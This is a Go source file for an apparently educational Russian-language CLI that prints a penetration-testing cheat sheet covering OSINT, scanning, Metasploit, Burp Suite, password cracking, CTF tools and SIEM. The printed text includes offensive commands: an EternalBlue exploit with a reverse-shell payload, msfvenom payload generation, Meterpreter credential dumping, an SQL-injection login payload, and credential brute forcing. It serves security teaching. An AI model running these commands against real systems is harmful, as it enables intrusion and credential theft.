284 lines
11 KiB
Go
284 lines
11 KiB
Go
package infosecmodules
|
||
|
||
import (
|
||
"rubric/utils"
|
||
)
|
||
|
||
var ToolsModule = Module{
|
||
Key: "tools",
|
||
Aliases: []string{"t", "pentest", "инструменты"},
|
||
Title: "Инструменты безопасности",
|
||
Description: "nmap, Metasploit, Burp Suite, Wireshark, Hashcat, инструменты OSINT",
|
||
Run: showTools,
|
||
}
|
||
|
||
func showTools() {
|
||
utils.Header("InfoSec — Инструменты безопасности")
|
||
|
||
utils.Section("Разведка и OSINT")
|
||
utils.Code(`OSINT (Open Source Intelligence) — разведка из открытых источников.
|
||
|
||
# whois — информация о домене:
|
||
whois example.com
|
||
whois 1.2.3.4
|
||
|
||
# DNS разведка:
|
||
dig example.com ANY
|
||
dig +short MX example.com
|
||
dig +short TXT example.com # SPF, DKIM, DMARC
|
||
dig +trace example.com # полный путь разрешения
|
||
nslookup example.com 8.8.8.8
|
||
|
||
# Субдомены:
|
||
subfinder -d example.com -o subdomains.txt
|
||
amass enum -d example.com
|
||
dnsx -l subdomains.txt # проверить живые
|
||
|
||
# Сертификаты → субдомены:
|
||
# https://crt.sh/?q=%.example.com
|
||
curl -s "https://crt.sh/?q=%.example.com&output=json" | \
|
||
jq -r '.[].name_value' | sort -u
|
||
|
||
# theHarvester — email, имена, субдомены:
|
||
theHarvester -d example.com -b google,bing,shodan
|
||
|
||
# Shodan — поисковик по устройствам:
|
||
# https://www.shodan.io
|
||
# CLI: pip install shodan
|
||
shodan search "apache country:RU"
|
||
shodan host 1.2.3.4
|
||
|
||
# Google dorks (Google Hacking):
|
||
site:example.com filetype:pdf
|
||
site:example.com inurl:admin
|
||
site:example.com intitle:"index of"
|
||
"@example.com" filetype:xls
|
||
"password" site:example.com filetype:txt`)
|
||
|
||
utils.Section("Сканирование и перечисление")
|
||
utils.Code(`# nmap (подробнее в InfoSec → netsec):
|
||
nmap -sV -sC -A -p- target.com -oA full_scan
|
||
|
||
# gobuster — перебор директорий и файлов:
|
||
gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt
|
||
gobuster dir -u https://target.com -w wordlist.txt -x php,html,js -t 50
|
||
gobuster dns -d target.com -w subdomains.txt
|
||
|
||
# feroxbuster — рекурсивный перебор:
|
||
feroxbuster -u https://target.com -w wordlist.txt --depth 3
|
||
|
||
# ffuf — быстрый fuzzer:
|
||
ffuf -u https://target.com/FUZZ -w wordlist.txt
|
||
ffuf -u https://target.com -H "Host: FUZZ.target.com" -w subdomains.txt
|
||
ffuf -u https://target.com/login -X POST \
|
||
-d "user=FUZZ&pass=password" -w usernames.txt
|
||
|
||
# nikto — сканер веб-уязвимостей:
|
||
nikto -h https://target.com
|
||
nikto -h target.com -port 8443 -ssl
|
||
|
||
# enum4linux-ng — перечисление Windows/Samba:
|
||
enum4linux-ng -A target.com
|
||
|
||
# crackmapexec — swiss army knife для AD:
|
||
crackmapexec smb 192.168.1.0/24
|
||
crackmapexec smb 192.168.1.10 -u users.txt -p passwords.txt`)
|
||
|
||
utils.Section("Metasploit Framework")
|
||
utils.Code(`Metasploit — платформа для разработки и запуска эксплойтов.
|
||
|
||
# Запуск:
|
||
msfconsole
|
||
msfconsole -q # без баннера
|
||
|
||
# Основные команды:
|
||
search ms17-010 # поиск модуля (EternalBlue)
|
||
use exploit/windows/smb/ms17_010_eternalblue
|
||
info # информация о модуле
|
||
show options # параметры
|
||
show payloads # доступные пейлоады
|
||
set RHOSTS 192.168.1.10 # цель
|
||
set LHOST 192.168.1.20 # наш IP
|
||
set payload windows/x64/meterpreter/reverse_tcp
|
||
check # проверить уязвимость без эксплуатации
|
||
run / exploit # запустить
|
||
|
||
# Meterpreter — расширенный пейлоад:
|
||
sysinfo # информация о системе
|
||
getuid # текущий пользователь
|
||
getsystem # повышение привилегий
|
||
hashdump # дамп хэшей паролей
|
||
shell # системный shell
|
||
upload /path/file C:\\ # загрузить файл
|
||
download C:\\file.txt # скачать файл
|
||
ps # список процессов
|
||
migrate 1234 # мигрировать в процесс
|
||
portfwd add -l 3306 -r 127.0.0.1 -p 3306 # port forwarding
|
||
load kiwi && creds_all # Mimikatz (дамп credentials)
|
||
|
||
# msfvenom — генератор пейлоадов:
|
||
msfvenom -p windows/x64/meterpreter/reverse_tcp \
|
||
LHOST=192.168.1.20 LPORT=4444 -f exe -o payload.exe
|
||
|
||
msfvenom -p linux/x64/meterpreter/reverse_tcp \
|
||
LHOST=192.168.1.20 LPORT=4444 -f elf -o payload
|
||
|
||
# Auxiliary модули:
|
||
use auxiliary/scanner/portscan/tcp
|
||
use auxiliary/scanner/smb/smb_ms17_010
|
||
use auxiliary/brute/http/http_login`)
|
||
|
||
utils.Section("Burp Suite — тестирование веб-приложений")
|
||
utils.Code(`Burp Suite — платформа для ручного и автоматического тестирования веб.
|
||
|
||
Основные инструменты:
|
||
Proxy — перехват и изменение HTTP/HTTPS трафика
|
||
Repeater — повторная отправка запросов с изменениями
|
||
Intruder — автоматизированные атаки (brute force, fuzzing)
|
||
Scanner — автоматическое сканирование уязвимостей (Pro)
|
||
Decoder — кодирование/декодирование (Base64, URL, HTML)
|
||
Comparer — сравнение ответов
|
||
Sequencer — анализ случайности токенов
|
||
|
||
# Настройка прокси:
|
||
# Browser → Proxy 127.0.0.1:8080 → Burp → Target
|
||
# Установить Burp CA certificate в браузер для HTTPS
|
||
|
||
# Основной workflow:
|
||
1. Настроить браузер на прокси
|
||
2. Interceptor: On — перехватывать запросы
|
||
3. Исследовать приложение
|
||
4. Отправлять интересные запросы в Repeater
|
||
5. Изменять параметры, проверять реакцию
|
||
6. Атаки Intruder для перебора
|
||
|
||
# Расширения (BApp Store):
|
||
Active Scan++ — дополнительные проверки
|
||
JWT Editor — работа с JWT токенами
|
||
Logger++ — расширенное логирование
|
||
Param Miner — поиск скрытых параметров
|
||
|
||
# curl как замена для простых тестов:
|
||
curl -v -X POST https://target.com/login \
|
||
-H "Content-Type: application/json" \
|
||
-d '{"user":"admin","pass":"'"'"' OR 1=1 --"}'`)
|
||
|
||
utils.Section("Взлом паролей — Hashcat и John")
|
||
utils.Code(`# Hashcat — GPU-ускоренный взломщик хэшей:
|
||
hashcat --example-hashes | grep -A 1 "MODE: 0" # примеры хэшей
|
||
|
||
# Основные режимы атаки:
|
||
# -a 0: Straight (словарь)
|
||
# -a 1: Combination (два словаря)
|
||
# -a 3: Brute-force (маски)
|
||
# -a 6: Hybrid (словарь + маска)
|
||
|
||
# Типы хэшей (-m):
|
||
# 0 — MD5
|
||
# 1000 — NTLM
|
||
# 1800 — sha512crypt (Linux /etc/shadow)
|
||
# 3200 — bcrypt
|
||
# 13100 — Kerberos TGS-REP
|
||
|
||
# Атаки:
|
||
# Словарная атака:
|
||
hashcat -m 1000 hashes.txt rockyou.txt
|
||
|
||
# Brute-force с маской:
|
||
hashcat -m 0 hashes.txt -a 3 ?l?l?l?l?d?d # 4 буквы + 2 цифры
|
||
# Маски: ?l=lower ?u=upper ?d=digit ?s=special ?a=all
|
||
|
||
# Комбо: словарь + правила:
|
||
hashcat -m 1000 hashes.txt rockyou.txt -r rules/best64.rule
|
||
|
||
# John the Ripper — классика:
|
||
john --format=bcrypt hashes.txt --wordlist=rockyou.txt
|
||
john --show hashes.txt
|
||
|
||
# Словари:
|
||
# rockyou.txt — 14 млн паролей из утечки
|
||
# SecLists/Passwords — коллекция словарей
|
||
# CrackStation — 1.5 млрд паролей`)
|
||
|
||
utils.Section("Инструменты для CTF и пентеста")
|
||
utils.Code(`Стеганография:
|
||
steghide — скрытие данных в изображениях
|
||
binwalk — анализ бинарных файлов (embedded files)
|
||
exiftool — метаданные файлов
|
||
strings — строки в бинарных файлах
|
||
xxd — hex dump
|
||
|
||
Форензика:
|
||
volatility — анализ дампов памяти
|
||
autopsy / sleuthkit — форензика дисков
|
||
Wireshark — анализ сетевого трафика
|
||
foremost — восстановление файлов
|
||
|
||
Web:
|
||
sqlmap — автоматический SQL injection
|
||
sqlmap -u "https://target.com/page?id=1" --dbs
|
||
sqlmap -u "https://target.com/page?id=1" -D mydb --tables
|
||
|
||
wfuzz — fuzzer (альтернатива ffuf)
|
||
XSStrike — анализ XSS
|
||
Commix — command injection
|
||
|
||
Reverse Engineering:
|
||
Ghidra — бесплатный дизассемблер (NSA)
|
||
IDA Pro — коммерческий, стандарт индустрии
|
||
radare2 — open source framework
|
||
pwndbg — расширение GDB для exploit development
|
||
|
||
Privilege Escalation (Linux):
|
||
LinPEAS — автоматический поиск векторов
|
||
linux-exploit-suggester — предложения эксплойтов
|
||
pspy — мониторинг процессов без root
|
||
|
||
Privilege Escalation (Windows):
|
||
WinPEAS — автоматический поиск
|
||
PowerSploit — PowerShell для пентеста
|
||
BloodHound — граф атак в Active Directory
|
||
|
||
Полезные дистрибутивы:
|
||
Kali Linux — стандарт для пентеста
|
||
Parrot OS — лёгкий, для форензики и пентеста
|
||
BlackArch — Arch-based, огромный репозиторий`)
|
||
|
||
utils.Section("SIEM и Threat Hunting")
|
||
utils.Code(`SIEM (Security Information and Event Management):
|
||
Централизованный сбор, корреляция и анализ событий безопасности.
|
||
|
||
Splunk — коммерческий, мощный
|
||
Elastic SIEM (ELK) — Elasticsearch + Kibana
|
||
Microsoft Sentinel — облачный SIEM (Azure)
|
||
IBM QRadar — корпоративный
|
||
Graylog — open source
|
||
|
||
MITRE ATT&CK Framework:
|
||
Матрица тактик и техник, используемых атакующими.
|
||
https://attack.mitre.org
|
||
|
||
Тактики (Tactics): Reconnaissance → Initial Access → Execution →
|
||
Persistence → Privilege Escalation → Defense Evasion →
|
||
Credential Access → Discovery → Lateral Movement → Collection →
|
||
Command and Control → Exfiltration → Impact
|
||
|
||
Threat Hunting — проактивный поиск угроз:
|
||
Hypothesis-based: "а вдруг у нас есть Cobalt Strike?"
|
||
IOC-based: по индикаторам компрометации (IP, домены, хэши)
|
||
|
||
Источники IOC:
|
||
VirusTotal, Shodan, AlienVault OTX
|
||
Threat Intelligence платформы (MISP, OpenCTI)
|
||
Vendor feeds (Mandiant, CrowdStrike)
|
||
|
||
Incident Response (IR):
|
||
1. Preparation — подготовка (playbooks, инструменты)
|
||
2. Identification — обнаружение инцидента
|
||
3. Containment — локализация
|
||
4. Eradication — устранение
|
||
5. Recovery — восстановление
|
||
6. Lessons Learned — разбор полётов`)
|
||
|
||
utils.Footer()
|
||
}
|